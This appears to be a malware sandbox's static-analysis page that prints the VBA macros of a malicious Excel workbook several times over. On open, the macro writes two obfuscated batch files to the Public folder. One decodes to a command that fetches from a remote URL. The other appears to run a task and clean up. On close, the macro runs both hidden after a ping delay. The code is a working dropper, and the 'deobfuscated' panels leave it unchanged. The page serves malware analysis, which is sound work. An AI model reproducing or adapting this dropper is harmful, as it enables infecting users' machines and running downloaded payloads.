popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Deobfuscated

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Original

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Deobfuscated

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Original

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Deobfuscated

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Original

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Deobfuscated

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Original

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Deobfuscated

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Original

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
